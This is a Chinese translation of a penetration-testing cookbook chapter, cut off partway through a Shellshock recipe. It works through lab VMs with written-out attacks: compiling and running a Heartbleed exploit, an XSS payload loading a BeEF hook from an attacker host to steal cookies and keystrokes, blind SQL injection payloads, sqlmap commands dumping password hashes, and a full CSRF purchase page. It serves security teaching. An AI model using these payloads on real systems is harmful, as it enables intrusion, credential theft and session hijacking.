第七章 高級(jí)利用
作者:Gilberto Najera-Gutierrez
譯者:飛龍
協(xié)議:CC BY-NC-SA 4.0
簡(jiǎn)介
在獲得一些便利來(lái)發(fā)現(xiàn)和利用漏洞之后,我們現(xiàn)在轉(zhuǎn)向可能需要更多努力的其他問(wèn)題上。
這一章中,我們會(huì)搜索利用,編譯程序,建立服務(wù)器以及破解密碼,這可以讓我們?cè)L問(wèn)敏感信息,并執(zhí)行服務(wù)器和應(yīng)用中的特權(quán)功能。
7.1 在 Exploit-DB 中搜索 Web 服務(wù)器的漏洞
我們偶爾會(huì)在操作系統(tǒng)中, Web 應(yīng)用所使用的庫(kù)中,以及活動(dòng)服務(wù)中發(fā)現(xiàn)服務(wù)器漏洞,或者可以在瀏覽器或 Web 代理中不能利用的安全問(wèn)題。對(duì)于這些情況,我們可以使用 Metasploit 的利用集合,或者如果我們要找的不在 Metasploit 里面,我們可以在 Exploit-DB 中搜索它。
Kali 包含了 Exploit-DB 中的利用的離線(xiàn)副本。這個(gè)秘籍中,我們會(huì)使用 Kali 自帶的命令來(lái)探索這個(gè)數(shù)據(jù)庫(kù)并找到我們需要的利用。
操作步驟
打開(kāi)終端。
-
輸入下列命令:
searchsploit heartbleed
-
下一步是將利用復(fù)制到一個(gè)可以修改的地方,并編譯它,像這樣:
mkdir heartbleed cd heartbleed cp /usr/share/exploitdb/platforms/multiple/remote/32998.c
-
通常,利用在第一行包含一些自身信息,以及如何使用它們,像這樣:
head -n 30 32998.c
-
這里,利用使用 C 編寫(xiě),所以我們需要將它編譯來(lái)使用。編譯命令在文件中顯示(
cc -lssl -lssl3 -lcrypto heartbleed.c -o heartbleed
),它在 Kali 中不起作用,所以我們需要下面這個(gè):gcc 32998.c -o heartbleed -Wl,-Bstatic -lssl -Wl,-Bdynamic -lssl3 -lcrypto
工作原理
searchsploit
命令是安裝在 Kali 中的 Exploit-DB 本地副本的接口。它用于在利用的標(biāo)題和描述中搜索字符串,并顯示結(jié)果。
利用存在于/usr/share/exploitdb/platforms
目錄中。searchsploit
所展示的利用目錄是它的相對(duì)路徑,這就是我們?cè)趶?fù)制文件的時(shí)候使用完整路徑的原因。利用文件以利用編號(hào)命名,在它們被提交到Exploit-DB 時(shí)分配。
編譯步驟和在源代碼中的推薦有些不同,因?yàn)?OpenSSL 庫(kù)在基于 Debian 的發(fā)行版中,由于它們從源代碼中構(gòu)建的方式而缺少一些功能。
更多
監(jiān)控利用的影響和效果極其重要,因?yàn)槲覀冊(cè)趯?shí)時(shí)系統(tǒng)中使用它。通常,Exploit-DB 中的利用都值得相信,即使它們通常需要一些調(diào)整來(lái)工作在特定的環(huán)境中,但是它們中有一些不像他們所說(shuō)的那樣。出于這個(gè)原因,在真實(shí)世界的滲透測(cè)試中使用之前,我們需要檢查源代碼并在我們的實(shí)驗(yàn)環(huán)境中測(cè)試它們。
另見(jiàn)
除了 Exploit-DB(www.exploit-db.com
),也有一些其他站點(diǎn)可以用于搜索目標(biāo)系統(tǒng)中的已知漏洞和利用:
- http://www.securityfocus.com
- http://www.xssed.com/
- https://packetstormsecurity.com/
- http://seclists.org/fulldisclosure/
- http://0day.today/
7.2 利用 Heartbleed 漏洞
這個(gè)秘籍中,我們會(huì)使用之前編譯的 Heartbleed 利用來(lái)提取關(guān)于存在漏洞的 Bee-box 服務(wù)器的信息(https://192.168.56.103:8443/
)。
Bee-box 虛擬機(jī)可以從https://www.vulnhub.com/ entry/bwapp-bee-box-v16,53/
下載,那里也有安裝指南。
準(zhǔn)備
在上一個(gè)秘籍中,我們生成了 Heartbleed 利用的可執(zhí)行文件。我們現(xiàn)在使用它來(lái)利用服務(wù)器的漏洞。
Heartbleed 是能夠從服務(wù)器內(nèi)存中提取信息的漏洞。在嘗試?yán)脕?lái)獲得一些要提取的信息之前,可能需要瀏覽并向服務(wù)器的 8443 端口上的 HTTPS 頁(yè)面發(fā)送數(shù)據(jù)。
操作步驟
-
如果我們檢查Bee-Box 的 8443 端口,我們會(huì)發(fā)現(xiàn)它存在 Heartbleed 漏洞。
sslscan 192.168.56.103:8443
-
現(xiàn)在,讓我們開(kāi)始利用漏洞。手心,我們?cè)L問(wèn)包含可執(zhí)行利用的文件夾:
cd heartbleed
-
之后我們檢查程序的選項(xiàng),像這樣:
./heartbleed --help
-
我們要嘗試?yán)?code>192.168.56.103的 443 端口,獲得最大的泄露并保存輸出到文本文件
hb_test.txt
。./heartbleed -s 192.168.56.103 -p 8443 -f hb_test.txt -t 1
-
現(xiàn)在,如果我們檢查
hb_test.txt
的內(nèi)容:cat hb_test.txt
我們的利用從 HTTPS 服務(wù)器中提取了信息,從這里我們可以看到會(huì)話(huà) OD 甚至還有完整的登錄請(qǐng)求,包括純文本用戶(hù)名和密碼。
-
如果我們想要跳過(guò)所有的二進(jìn)制數(shù)據(jù),只查看文件中的可讀文本,使用
strings
命令:strings hb_test.txt
工作原理
我們?cè)诘谒恼轮刑岬竭^(guò),Heartbleed 漏洞允許攻擊者從 OpenSSL 服務(wù)器內(nèi)存中以純文本讀取信息,這意味著我們不需要解密甚至是解釋任何客戶(hù)端和服務(wù)端之間的通信,我們只需簡(jiǎn)單地向服務(wù)器請(qǐng)求內(nèi)存中的東西,它會(huì)回應(yīng)未加密的信息。
這個(gè)秘籍中,我們使用了可公共訪(fǎng)問(wèn)的利用來(lái)執(zhí)行攻擊,并獲取到至少一個(gè)有效的會(huì)話(huà) ID。有的時(shí)候還可能在 Heartbleed 的轉(zhuǎn)儲(chǔ)中找到密碼或其它敏感信息。
最后,strings
命令只展示文件中的字符串,跳過(guò)所有特殊字符,使其更加易讀。
7.3 使用 BeEF 利用 XSS
BeEF,即瀏覽器利用框架,是個(gè)專(zhuān)注于客戶(hù)端攻擊向量的框架,特別是 Web 瀏覽器的攻擊。
這個(gè)秘籍中,我們會(huì)利用 XSS 漏洞并使用 BeEF 來(lái)控制客戶(hù)端瀏覽器。
準(zhǔn)備
在開(kāi)始之前,我們需要確保啟動(dòng)了 BeEF 服務(wù),并且能夠訪(fǎng)問(wèn)http://127.0.0.1:3000/ui/panel
(使用beef/beef
身份標(biāo)識(shí))。
-
Kali 的默認(rèn) BeEF 服務(wù)不能工作。所以我們不能僅僅運(yùn)行
beef-xss
讓它啟動(dòng)。我們需要從安裝目錄中啟動(dòng)它,像這樣:cd /usr/share/beef-xss/ ./beef
現(xiàn)在,瀏覽
http://127.0.0.1:3000/ui/panel
并使用beef
作為用戶(hù)名和密碼。如果有效,我們就準(zhǔn)備好了。
操作步驟
BeEF 需要客戶(hù)端瀏覽器調(diào)用
hook.js
文件,這用于將瀏覽器勾到我們的 BeEF 服務(wù)器,我們會(huì)使用一個(gè)存在 XSS 漏洞的應(yīng)用來(lái)使用戶(hù)調(diào)用它。為了嘗試簡(jiǎn)單的 XSS 測(cè)試,瀏覽http://192.168.56.102/bodgeit/search.jsp?q=%3Cscript%3Ealert%28 1%29%3C%2Fscript%3E
。-
這就是存在 XSS 漏洞的應(yīng)用,所以現(xiàn)在我們需要修改腳本來(lái)調(diào)用
hook.js
。想象一下你就是受害者,你已經(jīng)收到了包含http://192.168.56.102/bodgeit/search.jsp?q=<script src="http://192.168.56.1:3000/hook.js"></script>
鏈接的郵件,你打算瀏覽器它來(lái)看看,像這樣: 現(xiàn)在,在 BeEF 面板中,攻擊者會(huì)看到新的在線(xiàn)瀏覽器。
-
攻擊者的最佳步驟就是生成一些持久的,至少在用戶(hù)瀏覽期間有效。訪(fǎng)問(wèn)攻擊者瀏覽器的
Command
標(biāo)簽頁(yè),從這里選擇Persistence | Man-In-The-Browser
之后點(diǎn)擊Execute
。執(zhí)行之后,選擇Module Results History
中的相關(guān)命令來(lái)檢查結(jié)果,像這樣: -
如果我們檢查瀏覽器中的
Logs
標(biāo)簽頁(yè),我們可能會(huì)看到BeEF正在儲(chǔ)存用戶(hù)關(guān)于用戶(hù)在瀏覽器中執(zhí)行什么操作的信息,例如輸入和點(diǎn)擊,我們可以在這里看到: -
我們也可以通過(guò)使用
Commands | Browser | Hooked Domain | Get Cookie
來(lái)獲取Cookie,像這樣:
工作原理
這個(gè)秘籍中,我們使用了script
標(biāo)簽的src
屬性來(lái)調(diào)用外部 JS 文件,這里是 BeEF的鉤子。
hook.js
文件與服務(wù)器通信,執(zhí)行命令并返回響應(yīng),使攻擊者能夠看到它們。它在客戶(hù)端的瀏覽器中不打印任何東西,所以受害者通常不會(huì)知道他的瀏覽器正在被攻擊。
在讓受害者執(zhí)行我們的hook
腳本之后,我們使用持久化模塊 Man In The Browser 使瀏覽器在每次用戶(hù)點(diǎn)擊鏈接時(shí),向相同域發(fā)送 AJAX 請(qǐng)求,所以這個(gè)請(qǐng)求維持了鉤子,也加載了新的頁(yè)面。
我么也會(huì)看到,BeEF 的日志記錄了用戶(hù)在頁(yè)面上執(zhí)行的每個(gè)步驟,我們能夠從中獲得用戶(hù)名和密碼信息。也可以用來(lái)獲得遠(yuǎn)程的會(huì)話(huà) Cookie,這可以讓攻擊者劫持受害者的會(huì)話(huà)。
更多
BeEF 擁有很多功能,從判斷受害者所使用的瀏覽器類(lèi)型,到利用已知漏洞和完全攻陷客戶(hù)端系統(tǒng)。一些有趣的特性是:
Social Engineering/Pretty Theft
:這是個(gè)社會(huì)工程工具,允許我們模擬登陸頁(yè)面,就像常見(jiàn)的服務(wù)那樣,例如 Fackbook、Linkedin、YouTube 以及其它。Browser/Webcam and Browser/Webcam HTML5
:就像看上去那樣,這兩個(gè)模塊能夠惡意使用許可配置來(lái)激活受害者的攝像頭,前者使用隱藏的 Flashembed
標(biāo)簽,后者使用 HTML5 標(biāo)簽。Exploits folder
:這包含一組特殊軟件和情況的利用,它們中的一些利用服務(wù)和其它客戶(hù)端瀏覽器。Browser/Hooked Domain/Get Stored Credentials
:這會(huì)嘗試提取瀏覽器中儲(chǔ)存的淪陷域的用戶(hù)名和密碼。Use as Proxy
:如果我們右擊被勾住的瀏覽器,我們會(huì)獲得將其用作代理的選項(xiàng)。這將客戶(hù)端瀏覽器用作代理,會(huì)給我們機(jī)會(huì)來(lái)探索受害者的內(nèi)部網(wǎng)絡(luò)。
BeEF 有許多其它攻擊和模塊,對(duì)滲透測(cè)試者非常實(shí)用,如果你想要了解更多,你可以查看官方的 Wiki:https://github.com/ beefproject/beef/wiki
。
7.4 利用 SQL 盲注
在第六章中,我們利用了基于錯(cuò)誤的 SQL 注入,現(xiàn)在我們使用 Burp Suite Intruder 作為主要工具來(lái)識(shí)別和利用 SQL 盲注。
準(zhǔn)備
使瀏覽器將 Burp Suite 用作代理。
操作步驟
瀏覽
http://192.168.56.102/WebGoat
,實(shí)用webgoat
作為用戶(hù)名和密碼登錄。點(diǎn)擊
Start WebGoat
來(lái)訪(fǎng)問(wèn) WebGoat 的主頁(yè)。訪(fǎng)問(wèn)
Injection Flaws | Blind Numeric SQL Injection
。-
頁(yè)面上說(shuō),練習(xí)的目標(biāo)是找到給定字段在給定行中的值。我們的做事方式有一點(diǎn)不同,但是讓我們看看它如何工作:將
101
作為賬戶(hù)號(hào)碼,并點(diǎn)擊go
。 -
現(xiàn)在嘗試
1011
。到目前為止,我們看到了應(yīng)用的行為,它僅僅告訴我們賬戶(hù)號(hào)碼是否有效。
-
讓我們嘗試注入,因?yàn)樗檎姨?hào)碼,可能將它們用作整數(shù)。我們?cè)跍y(cè)試中不使用單引號(hào),所以提交
101 and 1=1
-
現(xiàn)在嘗試
101 and 1=2
。看上去這里有個(gè)盲注,在有效的賬戶(hù)中注入恒真的條件結(jié)果。注入恒假的條件時(shí)會(huì)出現(xiàn)
Invalid account number
信息。 在這個(gè)秘籍中,我們要獲得連接到數(shù)據(jù)庫(kù)的用戶(hù)名稱(chēng)。所以我們首先需要知道用戶(hù)名稱(chēng)的長(zhǎng)度。讓我們嘗試一下,注入
101 AND 1=char_length(current_user)
。-
下一步是在 BurpSuite 的代理中尋找最后一個(gè)請(qǐng)求,并將它發(fā)送到 intruder中,像這樣:
-
一旦發(fā)送到 intruder,我們可以清楚所有載荷標(biāo)記,并在
AND
后面的1
中添加新的,像這樣: 訪(fǎng)問(wèn)載荷部分并將
Payload type
設(shè)為Numbers
。-
將
Payload type
設(shè)為Sequential
,從 1 到 15,步長(zhǎng)為 1。 -
為了看看響應(yīng)是否滿(mǎn)足要求,訪(fǎng)問(wèn)
Intruder's options
,清除GrepMatch
列表并添加Invalid account number
,以及Account number is valid
。我們需要在每個(gè) intruder 的標(biāo)簽頁(yè)中這樣修改。
-
為了使應(yīng)用自動(dòng)化,在
Redirections
中選擇Always
,并在Redirections
中選擇Process cookies
。我們需要在每個(gè) intruder 的標(biāo)簽頁(yè)中這樣修改。
-
開(kāi)始攻擊
它找到了號(hào)碼為 2 的有效響應(yīng),這意味著用戶(hù)名只含有兩個(gè)字符長(zhǎng)。
-
現(xiàn)在,我們打算猜測(cè)用戶(hù)名的每個(gè)字符,從第一個(gè)字符開(kāi)始。在應(yīng)用中提交下列代碼:
101 AND 1=(current_user LIKE 'b%')
。我們選擇
b
作為第一個(gè)字符,讓 BurpSuite 來(lái)獲取請(qǐng)求,它應(yīng)該為任意字符。 -
同樣,我們將請(qǐng)求發(fā)送給 intruder 并保留唯一的載荷標(biāo)記
b
,它是名稱(chēng)的首單詞。 -
我們的載荷應(yīng)該是含有所有小寫(xiě)字母和大寫(xiě)字母的列表(從 a 到 z 以及 A 到 Z)。
-
在 intruder 中重復(fù)步驟 13 到 14 并開(kāi)始攻擊,像這樣:
我們的用戶(hù)名的首字母是
S
。 現(xiàn)在,我們需要找到名稱(chēng)的第二個(gè)單詞,所以我們提交
101 AND 1=(current_user='Sa')
到應(yīng)用的文本框,并發(fā)送請(qǐng)求給 intruder。-
現(xiàn)在我們的載荷標(biāo)記是
S
后面的a
,換句話(huà)說(shuō),名稱(chēng)的第二個(gè)字符。 -
重復(fù)步驟 18 到 19。在我們的例子中,我們只使用了倆表中的大寫(xiě)字母,因?yàn)槿绻谝粋€(gè)單詞是大寫(xiě)的,兩個(gè)單詞就很可能都是大寫(xiě)的。
名稱(chēng)的第二個(gè)單詞是
A
,所以應(yīng)用用于執(zhí)行查詢(xún)的數(shù)據(jù)庫(kù)用戶(hù)是SA
。SA
在 MSSQL 數(shù)據(jù)庫(kù)中的意思是系統(tǒng)管理員。
工作原理
利用 SQL 盲注比起基于錯(cuò)誤的注入花費(fèi)更多精力和時(shí)間。在這個(gè)秘籍中我們看到了如何獲取連接到數(shù)據(jù)庫(kù)的用戶(hù)名,而在第六章的 SQL 注入利用匯總,我們使用了一條命令來(lái)獲取它。
我們可以使用字典來(lái)查看當(dāng)前用戶(hù)是否在名稱(chēng)列表中,但是如果名稱(chēng)不在列表中,會(huì)花費(fèi)更多時(shí)間。
我們最開(kāi)始識(shí)別了漏洞,所顯示的信息告訴我們我們的請(qǐng)求是真是假。
一旦我們知道存在注入,并且正面的響應(yīng)是什么樣子,我們開(kāi)始詢(xún)問(wèn)當(dāng)前用戶(hù)的長(zhǎng)度,詢(xún)問(wèn)數(shù)據(jù)庫(kù),1
是否是當(dāng)前用戶(hù)名的長(zhǎng)度,是不是2
,以此類(lèi)推,知道我們發(fā)現(xiàn)了長(zhǎng)度。知道何時(shí)停止用戶(hù)名長(zhǎng)度的搜索非常重要。
在找到長(zhǎng)度之后,我們使用相同的技巧來(lái)發(fā)現(xiàn)首字母,LIKE 'b%'
語(yǔ)句告訴 SQL 解釋器是否首字母是b
,剩下的并不重要,它可以是任何東西(%
是用于多數(shù) SQL 實(shí)現(xiàn)的通配符)。這里,我們看到了首字母是S
。使用相同的技巧,我們就能發(fā)現(xiàn)第二個(gè)字符,并得到整個(gè)名稱(chēng)。
更多
這個(gè)攻擊可以繼續(xù)來(lái)獲得 DBMS 的版本,之后使用廠(chǎng)商特定的命令來(lái)觀(guān)察是否用戶(hù)擁有管理權(quán)限。如果是的話(huà),你可以提取所有用戶(hù)名和密碼,激活遠(yuǎn)程連接,以及除此之外的許多事情。
你可以嘗試的事情之一就是使用 SQLMap 來(lái)利用這類(lèi)型的注入。
還有另一種類(lèi)型的盲注,它是基于時(shí)間的 SQL 盲注。其中我們沒(méi)有可視化的線(xiàn)索,關(guān)于命令是否被執(zhí)行(就像有效或者無(wú)效的賬戶(hù)信息)。反之,我們需要給數(shù)據(jù)庫(kù)發(fā)送sleep
命令,如果響應(yīng)時(shí)間鯧魚(yú)我們發(fā)送的時(shí)間,那么它就是真的響應(yīng)。這類(lèi)型的攻擊非常緩慢,因?yàn)樗袝r(shí)需要等待 30 秒來(lái)獲得僅僅一個(gè)字符。擁有類(lèi)似 sqlninja 或者 SQLMap 的工具在這種情況下十分有用(https://www.owasp.org/index.php/Blind_SQL_Injection
)。
7.5 使用 SQLMap 獲得數(shù)據(jù)庫(kù)信息
在第六章中,我們使用了 SQLMap 來(lái)從數(shù)據(jù)庫(kù)提取信息和表的內(nèi)容。這非常實(shí)用,但是這不僅僅是這個(gè)工具的優(yōu)勢(shì),也不是最有趣的事情。這個(gè)秘籍中,我們會(huì)將其用于提取關(guān)于數(shù)據(jù)庫(kù)用戶(hù)和密碼的信息,這可以讓我們?cè)L問(wèn)整個(gè)系統(tǒng),而不僅僅是應(yīng)用。
操作步驟
啟動(dòng) Bee-box 虛擬機(jī)之后,將 BurpSuite 監(jiān)聽(tīng)用做代理,登錄和選擇 SQL 注入漏洞(POST/Search)。
輸入任何電影名稱(chēng)并點(diǎn)擊
Search
。-
現(xiàn)在讓我們?cè)L問(wèn) BuirpSuite 并查看請(qǐng)求:
-
現(xiàn)在,在 Kali 中訪(fǎng)問(wèn)終端并輸入以下命令:
sqlmap -u "http://192.168.56.103/bWAPP/sqli_6.php" --cookie="PHPS ESSID=15bfb5b6a982d4c86ee9096adcfdb2e0; security_level=0" --data "title=test&action=search" -p title --is-dba
我們可以看到注入成功了。當(dāng)前的用戶(hù)是 DBA,這意味著用戶(hù)可以對(duì)數(shù)據(jù)庫(kù)執(zhí)行管理員操作,例如添加用戶(hù)和修改密碼。
-
現(xiàn)在我們打算提取更多信息,例如用戶(hù)和密碼,所以在終端中輸入以下命令:
sqlmap -u "http://192.168.56.103/bWAPP/sqli_6.php" --cookie="PHPS ESSID=15bfb5b6a982d4c86ee9096adcfdb2e0; security_level=0" --data "title=test&action=search" -p title --is-dba --users --passwords
我們現(xiàn)在得到了數(shù)據(jù)庫(kù)的用戶(hù)列表以及哈希后的密碼。
-
我們也可以獲得 shell,讓我們能夠直接發(fā)送 SQL 查詢(xún)到數(shù)據(jù)庫(kù)。
sqlmap -u "http://192.168.56.103/bWAPP/sqli_6.php" --cookie="PHPS ESSID=15bfb5b6a982d4c86ee9096adcfdb2e0; security_level=0" --data "title=test&action=search" -p title –sql-shell
工作原理
一旦我們知道了存在 SQL 注入,我們使用 SQLMap 來(lái)利用它,像這樣:
sqlmap -u "http://192.168.56.103/bWAPP/sqli_6.php" --cookie="PHPS ESSID=15bfb5b6a982d4c86ee9096adcfdb2e0; security_level=0" --data "title=test&action=search" -p title --is-dba
在這個(gè)對(duì) SQLMap 的調(diào)動(dòng)中,我們使用了--cookie
參數(shù)來(lái)發(fā)送會(huì)話(huà) Cookie 因?yàn)閼?yīng)用需要身份驗(yàn)證來(lái)訪(fǎng)問(wèn)sqli_6.php
頁(yè)面。--data
參數(shù)包含發(fā)送到服務(wù)器的 POST 數(shù)據(jù),=p
告訴 SQLMap 僅僅注入title
參數(shù),--is-dba
詢(xún)問(wèn)數(shù)據(jù)庫(kù)當(dāng)前用戶(hù)是否擁有管理員權(quán)限。
DBA 允許我們向數(shù)據(jù)庫(kù)詢(xún)問(wèn)其他用戶(hù)的信息,SQLMap 通過(guò)--users
和--passwords
使我們的操作變得更加容易。這些參數(shù)詢(xún)問(wèn)用戶(hù)名和密碼,因?yàn)樗?DBMS 將用戶(hù)的密碼加密存儲(chǔ),我們獲得的只能是哈希。所以我們?nèi)匀灰褂妹艽a破解器來(lái)破解它們。如果你在 SQLMap 詢(xún)問(wèn)你執(zhí)行字典攻擊的時(shí)候回答Yes
,你可能就知道了至少一個(gè)用戶(hù)的密碼。
我們也使用了--sql-shell
選項(xiàng)來(lái)從我們向數(shù)據(jù)庫(kù)發(fā)送的 SQL 查詢(xún)中獲得 shell。這并不是真的 shell,當(dāng)然,SQLMap 通過(guò) SQL 注入發(fā)送我們寫(xiě)的命令,并返回這些查詢(xún)的結(jié)果。
7.6 執(zhí)行 CSRF 攻擊
CSRF 攻擊強(qiáng)迫身份驗(yàn)證后的用戶(hù)在 Web 應(yīng)用中執(zhí)行需要身份驗(yàn)證的,非預(yù)期的行為。這可以通過(guò)用戶(hù)所瀏覽的外部站點(diǎn)觸發(fā)該行為來(lái)實(shí)現(xiàn)。
這個(gè)秘籍中,我們會(huì)獲取應(yīng)用中的信息,來(lái)觀(guān)察攻擊站點(diǎn)是否能夠發(fā)送有效的請(qǐng)求給漏洞服務(wù)器。之后,我們會(huì)創(chuàng)建頁(yè)面來(lái)模擬正常請(qǐng)求并誘使用戶(hù)在身份驗(yàn)證后訪(fǎng)問(wèn)這個(gè)頁(yè)面。惡意頁(yè)面之后會(huì)發(fā)送請(qǐng)求給漏洞服務(wù)器,如果應(yīng)用在相同瀏覽器中打開(kāi),它會(huì)執(zhí)行操作,好像用戶(hù)發(fā)送了它們。
準(zhǔn)備
為了執(zhí)行 CSRF 攻擊,我們使用 vulnerable_vm 中的 WackoPicko 應(yīng)用:http://192.168.56.102/WackoPicko
。我們需要兩個(gè)用戶(hù),一個(gè)叫做v_user
,是受害者,另一個(gè)叫做attacker
。
我們也需要啟動(dòng) BurpSuite 并將其配置為服務(wù)器的代理。
操作步驟
作為
attacker
登錄 WackoPicko。攻擊者首先需要了解應(yīng)用的行為,所以如果我們發(fā)酸使用戶(hù)購(gòu)買(mǎi)我們的圖片,將 BurpSuite 用作代理,我們需要瀏覽:
http://192.168.56.102/WackoPicko/pictures/recent.php
。選項(xiàng) ID 為 8 的圖片:
http://192.168.56.102/WackoPicko/ pictures/view.php?picid=8
。點(diǎn)擊
Add to Cart
。會(huì)花費(fèi)我們 10 個(gè) Tradebux,但這是值得的,所以點(diǎn)擊
Continue to Confirmation
。在下一頁(yè)上,點(diǎn)擊
Purchase
。-
現(xiàn)在,讓我們?cè)L問(wèn) BurpSuite 來(lái)分析發(fā)生了什么。
第一個(gè)有趣的調(diào)用是
/WackoPicko/cart/action. php?action=add&picid=8
,它是添加圖片到購(gòu)物車(chē)的請(qǐng)求。/WackoPicko/cart/confirm.php
在我們點(diǎn)擊相應(yīng)按鈕時(shí)調(diào)用,它可能必須用于購(gòu)買(mǎi)。另一個(gè)可被攻擊者利用的是購(gòu)買(mǎi)操作的 POST 調(diào)用:/WackoPicko/cart/action. php?action=purchase
,他告訴應(yīng)用將圖片添加到購(gòu)物車(chē)中并收相應(yīng)的 Tradebux。 -
現(xiàn)在,攻擊者需要上傳圖片來(lái)強(qiáng)迫其它用戶(hù)購(gòu)買(mǎi)。登錄為
attacker
之后,訪(fǎng)問(wèn)Upload
,填充所需信息,選項(xiàng)需要上傳的文件,點(diǎn)擊UploadFile
。一旦圖片唄上傳,我們會(huì)直接重定向到它的相應(yīng)頁(yè)面,你可以在這里看到:
要注意為圖片分配的 ID,它是攻擊的核心部分,這里它是 16。
-
一旦我們分析了購(gòu)買(mǎi)流程,并擁有了圖片 ID,我們需要啟動(dòng)托管惡意頁(yè)面的服務(wù)器。在 Kali 中以 root 用戶(hù)啟動(dòng) Apache 服務(wù)器,像這樣:
service apache2 start
-
之后,創(chuàng)建 HTML 文件,叫做
/var/www/html/wackopurchase.html
,帶有如下內(nèi)容:<html> <head></head> <body onLoad='window.location="http://192.168.56.102/ WackoPicko/cart/action.php?action=purchase";setTimeout("window. close;",1000)'> <h1>Error 404: Not found</h1> <iframe src="http://192.168.56.102/WackoPicko/cart/action. php?action=add&picid=16"> <iframe src="http://192.168.56.102/WackoPicko/cart/review.php" > <iframe src="http://192.168.56.102/WackoPicko/cart/confirm.php"> </iframe> </iframe> </iframe> </body>
這個(gè)代碼會(huì)我們的商品的發(fā)送
add
、review
和confirm
請(qǐng)求給 WackoPicko ,之后展示 404 頁(yè)面給用戶(hù),當(dāng)它加載完成后,它會(huì)重定向到購(gòu)買(mǎi)操作,之后在一秒后關(guān)閉窗口。 現(xiàn)在以
v_user
登錄,上傳圖片并登出。作為攻擊者,我們需要確保用戶(hù)訪(fǎng)問(wèn)我們的惡意站點(diǎn),同時(shí)仍然保持登錄 WackoPicko。以
attacker
登錄之后,訪(fǎng)問(wèn)Recent
并選擇屬于v_user
的圖片(剛剛上傳的那個(gè))。-
我們需要在圖片上輸入下列評(píng)論。
This image looks a lot like <a href="http://192.168.56.1/ wackopurchase.html" target="_blank">this</a>
譯者注:這一步的前提是頁(yè)面上存在 XSS,沒(méi)有的話(huà)利用社會(huì)工程直接發(fā)送鏈接也是可行的。
-
點(diǎn)擊
Preview
之后Create
。你可以看到,評(píng)論中允許HTML 代碼,而且當(dāng)
v_user
點(diǎn)擊鏈接是,我們的惡意頁(yè)面會(huì)在新窗口打開(kāi)。 登出并以
v_user
登錄。訪(fǎng)問(wèn)
Home
并點(diǎn)擊Your Purchased Pics
,這里應(yīng)該沒(méi)有攻擊者的圖片。再次訪(fǎng)問(wèn)
Home
,之后訪(fǎng)問(wèn)Your Uploaded Pics
。選項(xiàng)帶有攻擊者評(píng)論的圖片。
-
點(diǎn)擊評(píng)論中的鏈接。
當(dāng)它完全加載之后,你應(yīng)該看到文本框中的一些 WackoPicko 的文本,這個(gè)窗口會(huì)在一秒之后關(guān)閉,我們的攻擊已經(jīng)完成了。
-
如果我們?cè)L問(wèn)
Home
,你可以看到v_user
的 Tradebux 余額現(xiàn)在是 85。 -
現(xiàn)在訪(fǎng)問(wèn)
Your Purchased Pics
:http://192.168.56.102/WackoPicko/ pictures/purchased.php
來(lái)查看非預(yù)期購(gòu)買(mǎi)的圖片:
對(duì)于 CSRF 工具者,成功執(zhí)行漏洞需要預(yù)置條件。首先,我們需要了解執(zhí)行特殊操作所需的請(qǐng)求參數(shù),以及我們需要在所有情況中都處理的響應(yīng)。
這個(gè)秘籍中,我們使用了代理和有效用戶(hù)賬戶(hù)來(lái)執(zhí)行我們所需的操作,來(lái)復(fù)制和收集所需信息:購(gòu)買(mǎi)過(guò)程中涉及到的請(qǐng)求,這些請(qǐng)求所需的信息,以及執(zhí)行它們的正確順序。
一旦我們知道了需要向應(yīng)用發(fā)送什么,我們需要將其自動(dòng)化,所以我們啟動(dòng) Web 服務(wù)器,并準(zhǔn)備頁(yè)面使調(diào)用以正確順序和正確參數(shù)執(zhí)行。通過(guò)使用 onLoad
JS 時(shí)間,我們確保購(gòu)買(mǎi)在add
和confirm
調(diào)用之前不會(huì)執(zhí)行。
在每個(gè) CSRF 攻擊中,都必須有方法讓用戶(hù)訪(fǎng)問(wèn)我們的惡意站點(diǎn),同時(shí)保持正常站點(diǎn)的登錄。這個(gè)秘籍中,我們使用應(yīng)用的特性,它的評(píng)論允許 HTML 代碼,并可以在這里輸入鏈接。所以當(dāng)用戶(hù)點(diǎn)擊某個(gè)圖片評(píng)論中的鏈接時(shí),它就向我們的 Tradebox 盜取站點(diǎn)發(fā)送了請(qǐng)求。
最后,當(dāng)用戶(hù)訪(fǎng)問(wèn)我們的站點(diǎn)時(shí),它模擬了錯(cuò)誤頁(yè)面,并在購(gòu)買(mǎi)請(qǐng)求剛剛完成后關(guān)閉自己。在這里我們并不需要擔(dān)心滲透,所以錯(cuò)誤頁(yè)面可以改進(jìn)一下使用戶(hù)不懷疑它。這通過(guò) HTML body
標(biāo)簽中的onload
事件中的 JavaScript 命令(購(gòu)買(mǎi)操作的調(diào)用,和用于關(guān)閉窗口的計(jì)時(shí)器)來(lái)完成。這個(gè)時(shí)間在頁(yè)面的所有元素完全加載之后觸發(fā),換句話(huà)說(shuō),當(dāng)add
、review
和confirm
的步驟完成之后。
7.7 使用 Shellsock 執(zhí)行命令
Shellshock(也叫作Bashdoor)是個(gè)在 2014 年九月發(fā)現(xiàn)在 Bash shell 中的bug,允許命令通過(guò)儲(chǔ)存在環(huán)境變量中的函數(shù)來(lái)執(zhí)行。
Shellshock 和我們滲透測(cè)試者有關(guān)系,因?yàn)殚_(kāi)發(fā)者有時(shí)候允許我們?cè)?PHP 或 CGI 腳本中調(diào)用系統(tǒng)命令 -- 這些腳本可以利用系統(tǒng)環(huán)境變量。
這個(gè)秘籍中,我們會(huì)在 Bee-box 漏洞虛擬機(jī)中利用 Shellshock 漏洞來(lái)獲得服務(wù)器的命令執(zhí)行權(quán)。
操作步驟
登錄
http://192.168.56.103/bWAPP/
。-
在
Choose your bug
下拉框中選擇Shellshock Vulnerability (CGI)
,之后點(diǎn)擊Hack
。在文本中,我們看到了一些有趣的東西;
Current user: www-data
。這可能意味著頁(yè)面使用系統(tǒng)調(diào)用來(lái)獲得用戶(hù)名。它給了我們提示:Attack the referrer
。 讓我們看看背后有什么東西,使用 BurpSuite 來(lái)記錄請(qǐng)求并重復(fù)步驟 2。
-
讓我們查看代理的歷史:
我們可以看到,有個(gè)
iframe
調(diào)用了 shell 腳本:./cgi-bin/shellshock.sh
,這可能存在 Shellshock 漏洞。 讓我們跟隨提示并嘗試攻擊
shellshock.sh
。所以我們首先需要配置 BurpSuite 來(lái)攔截服務(wù)器的響應(yīng),訪(fǎng)問(wèn)Proxy
標(biāo)簽頁(yè)的Options
,并選中Intercept responses based on the following rules
的選擇框。現(xiàn)在,讓 BurpSuite 攔截和重新加載
shellshock.php
。-
在 BurpSuite 中,點(diǎn)擊
Forward
直到得到了/bWAPP/cgi-bin/ shellshock.sh
請(qǐng)求,之后將Referer
